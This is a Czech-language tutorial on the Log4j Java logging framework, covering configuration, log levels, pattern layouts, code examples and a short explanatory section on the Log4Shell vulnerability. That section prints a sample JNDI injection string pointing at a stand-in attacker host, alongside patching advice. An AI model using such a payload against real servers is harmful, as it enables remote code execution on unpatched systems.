====== Log4j ======

Log4j je **populární logovací framework pro Javu**, který umožňuje vývojářům snadno zapisovat logy do různých výstupů (soubory, databáze, konzole) s různými úrovněmi detailu.

===== Co je Log4j =====

**Log4j** (Log for Java) je open-source knihovna od Apache Software Foundation, která poskytuje flexibilní a výkonný systém pro logování v Java aplikacích.

**Základní informace:**
  * **Jazyk:** Java
  * **Autor:** Apache Software Foundation
  * **První verze:** 2001
  * **Aktuální verze:** Log4j 2.x (kompletně přepsaná od verze 1.x)
  * **Licence:** Apache License 2.0

===== Proč používat Log4j =====

**Výhody oproti základnímu System.out.println():**
  * **Úrovně logování** - DEBUG, INFO, WARN, ERROR, FATAL
  * **Flexibilní výstupy** - konzole, soubory, databáze, email, síť
  * **Konfigurace bez úpravy kódu** - přes XML, JSON nebo properties soubory
  * **Výkon** - asynchronní logování, minimální overhead
  * **Filtrace** - logování pouze z určitých tříd/balíčků
  * **Formátování** - vlastní formát log zpráv
  * **Rotace logů** - automatické archivování starých logů

===== Základní architektura =====

Log4j 2 má tři hlavní komponenty:

==== 1. Logger ====

Objekt, který zapisuje logy. Každá třída má typicky svůj logger.

<code java>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class MojeTrida {
    private static final Logger logger = LogManager.getLogger(MojeTrida.class);
    
    public void mojeMetoda() {
        logger.debug("Debug zpráva");
        logger.info("Informativní zpráva");
        logger.warn("Varování");
        logger.error("Chyba");
        logger.fatal("Kritická chyba");
    }
}
</code>

==== 2. Appender ====

Určuje, **kam** se logy zapisují:
  * **ConsoleAppender** - výstup do konzole
  * **FileAppender** - výstup do souboru
  * **RollingFileAppender** - rotace log souborů
  * **JDBCAppender** - zápis do databáze
  * **SMTPAppender** - odeslání emailu
  * **SocketAppender** - síťové logování

==== 3. Layout ====

Určuje **formát** log zpráv:
  * **PatternLayout** - vlastní formát pomocí vzorů
  * **JSONLayout** - výstup v JSON formátu
  * **XMLLayout** - výstup v XML formátu
  * **HTMLLayout** - HTML tabulka

===== Úrovně logování =====

Log4j 2 má šest úrovní závažnosti (od nejméně po nejvíce závažné):

^ Úroveň ^ Metoda ^ Použití ^
| **TRACE** | ''logger.trace()'' | Velmi detailní informace pro hloubkové ladění |
| **DEBUG** | ''logger.debug()'' | Ladící informace užitečné při vývoji |
| **INFO** | ''logger.info()'' | Obecné informace o běhu aplikace |
| **WARN** | ''logger.warn()'' | Varování o potenciálních problémech |
| **ERROR** | ''logger.error()'' | Chyby, které ale neukončí aplikaci |
| **FATAL** | ''logger.fatal()'' | Kritické chyby vedoucí k pádu aplikace |

**Hierarchie úrovní:** Když nastavíte úroveň na INFO, budou se logovat INFO, WARN, ERROR a FATAL, ale ne DEBUG a TRACE.

===== Konfigurace Log4j =====

==== XML konfigurace (log4j2.xml) ====

<code xml>
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <!-- Definice appenderů -->
    <Appenders>
        <!-- Výstup do konzole -->
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
        </Console>
        
        <!-- Výstup do souboru s rotací -->
        <RollingFile name="RollingFile" fileName="logs/app.log"
                     filePattern="logs/app-%d{yyyy-MM-dd}-%i.log.gz">
            <PatternLayout>
                <pattern>%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n</pattern>
            </PatternLayout>
            <Policies>
                <TimeBasedTriggeringPolicy />
                <SizeBasedTriggeringPolicy size="10 MB"/>
            </Policies>
            <DefaultRolloverStrategy max="10"/>
        </RollingFile>
    </Appenders>
    
    <!-- Definice loggerů -->
    <Loggers>
        <!-- Root logger - výchozí pro celou aplikaci -->
        <Root level="info">
            <AppenderRef ref="Console"/>
            <AppenderRef ref="RollingFile"/>
        </Root>
        
        <!-- Specifický logger pro určitý balíček -->
        <Logger name="com.mojefirma.modul" level="debug" additivity="false">
            <AppenderRef ref="Console"/>
        </Logger>
    </Loggers>
</Configuration>
</code>

==== Properties konfigurace (log4j2.properties) ====

<code properties>
# Root logger
rootLogger.level = info
rootLogger.appenderRef.console.ref = Console
rootLogger.appenderRef.file.ref = RollingFile

# Console appender
appender.console.type = Console
appender.console.name = Console
appender.console.layout.type = PatternLayout
appender.console.layout.pattern = %d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n

# File appender
appender.file.type = RollingFile
appender.file.name = RollingFile
appender.file.fileName = logs/app.log
appender.file.filePattern = logs/app-%d{yyyy-MM-dd}.log.gz
appender.file.layout.type = PatternLayout
appender.file.layout.pattern = %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
</code>

===== Pattern Layout - formátování =====

Nejpoužívanější vzory (patterns) pro formátování log zpráv:

^ Vzor ^ Popis ^ Příklad ^
| ''%d'' | Datum a čas | ''2026-01-06 14:23:15'' |
| ''%p'' | Úroveň (level) | ''INFO'', ''ERROR'' |
| ''%c'' | Název loggeru (třída) | ''com.firma.MojeTrida'' |
| ''%t'' | Název vlákna (thread) | ''main'', ''Thread-1'' |
| ''%m'' | Zpráva | Vlastní text zprávy |
| ''%n'' | Nový řádek | Zalomení řádku |
| ''%L'' | Číslo řádku | ''42'' |
| ''%M'' | Název metody | ''mojeMetoda'' |
| ''%F'' | Název souboru | ''MojeTrida.java'' |

**Příklad komplexního patternu:**
<code>
%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n
</code>

**Výstup:**
<code>
2026-01-06 14:23:15.123 [main] INFO  com.firma.MojeTrida - Aplikace spuštěna
2026-01-06 14:23:16.456 [pool-1-thread-1] ERROR com.firma.Databaze - Připojení selhalo
</code>

===== Praktické příklady použití =====

==== Základní logování ====

<code java>
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Kalkulacka {
    private static final Logger logger = LogManager.getLogger(Kalkulacka.class);
    
    public int secti(int a, int b) {
        logger.debug("Sčítám {} + {}", a, b);
        int vysledek = a + b;
        logger.info("Výsledek: {}", vysledek);
        return vysledek;
    }
    
    public int vydel(int a, int b) {
        logger.debug("Dělím {} / {}", a, b);
        
        if (b == 0) {
            logger.error("Pokus o dělení nulou! a={}, b={}", a, b);
            throw new ArithmeticException("Dělení nulou");
        }
        
        int vysledek = a / b;
        logger.info("Výsledek: {}", vysledek);
        return vysledek;
    }
}
</code>

==== Logování výjimek ====

<code java>
public void nactiSoubor(String cesta) {
    logger.info("Načítám soubor: {}", cesta);
    
    try {
        // Kód pro čtení souboru
        BufferedReader reader = new BufferedReader(new FileReader(cesta));
        // ...
        logger.debug("Soubor úspěšně načten");
        
    } catch (FileNotFoundException e) {
        logger.error("Soubor nenalezen: {}", cesta, e);
        
    } catch (IOException e) {
        logger.error("Chyba při čtení souboru: {}", cesta, e);
        throw new RuntimeException("Nelze načíst soubor", e);
    }
}
</code>

**Výstup:**
<code>
2026-01-06 14:23:15 INFO  SouborovyManager:12 - Načítám soubor: data.txt
2026-01-06 14:23:15 ERROR SouborovyManager:20 - Soubor nenalezen: data.txt
java.io.FileNotFoundException: data.txt (No such file or directory)
    at java.io.FileInputStream.open0(Native Method)
    at java.io.FileInputStream.open(FileInputStream.java:195)
    ...
</code>

==== Podmíněné logování ====

<code java>
// Nekontrolujte úroveň ručně - Log4j to dělá automaticky
// ŠPATNĚ:
if (logger.isDebugEnabled()) {
    logger.debug("Zpráva: " + drahyVypocet());
}

// DOBŘE - použijte parametrizované zprávy:
logger.debug("Zpráva: {}", () -> drahyVypocet());

// Nebo pro více parametrů:
logger.debug("Uživatel {} provedl {} v {}", 
    () -> uzivatel.getJmeno(),
    () -> akce.getNazev(),
    () -> format(cas)
);
</code>

===== Log4Shell - bezpečnostní problém =====

V prosinci 2021 byla objevena **kritická zranitelnost CVE-2021-44228** v Log4j 2 nazvaná **Log4Shell**.

**Co se stalo:**
  * Útočník mohl spustit vzdálený kód (Remote Code Execution)
  * Pomocí speciálního textu v logu: ''${jndi:ldap://evil.com/a}''
  * Postihlo miliony aplikací po celém světě

**Řešení:**
  * **Aktualizovat** na Log4j 2.17.0 nebo novější
  * **Vypnout** JNDI lookup: ''-Dlog4j2.formatMsgNoLookups=true''
  * **Nahradit** starší verze

**Doporučení:**
  * Vždy používejte **nejnovější verzi** Log4j
  * Sledujte bezpečnostní bulletiny
  * Pravidelně aktualizujte závislosti

===== Alternativy k Log4j =====

  * **Logback** - nástupce Log4j 1.x, rychlejší
  * **SLF4J** - abstraktní vrstva nad různými logovacími frameworky
  * **java.util.logging** - vestavěné v Javě (méně funkcí)
  * **tinylog** - velmi lehký framework

===== Závislosti (Maven) =====

Pro použití Log4j 2 v projektu:

<code xml>
<dependencies>
    <!-- Log4j 2 API -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.22.1</version>
    </dependency>
    
    <!-- Log4j 2 Core -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.22.1</version>
    </dependency>
</dependencies>
</code>

===== Shrnutí =====

**Log4j je:**
  * Profesionální nástroj pro logování v Java aplikacích
  * Flexibilní - různé výstupy, formáty, úrovně
  * Výkonný - asynchronní logování, minimální overhead
  * Konfigurovatelný - bez změny kódu
  * Nutno udržovat aktuální kvůli bezpečnosti

**Používá se pro:**
  * Enterprise aplikace
  * Webové servery (Tomcat, JBoss)
  * Microservices
  * Android aplikace (varianta)
  * Všude, kde potřebujete robustní logování v Javě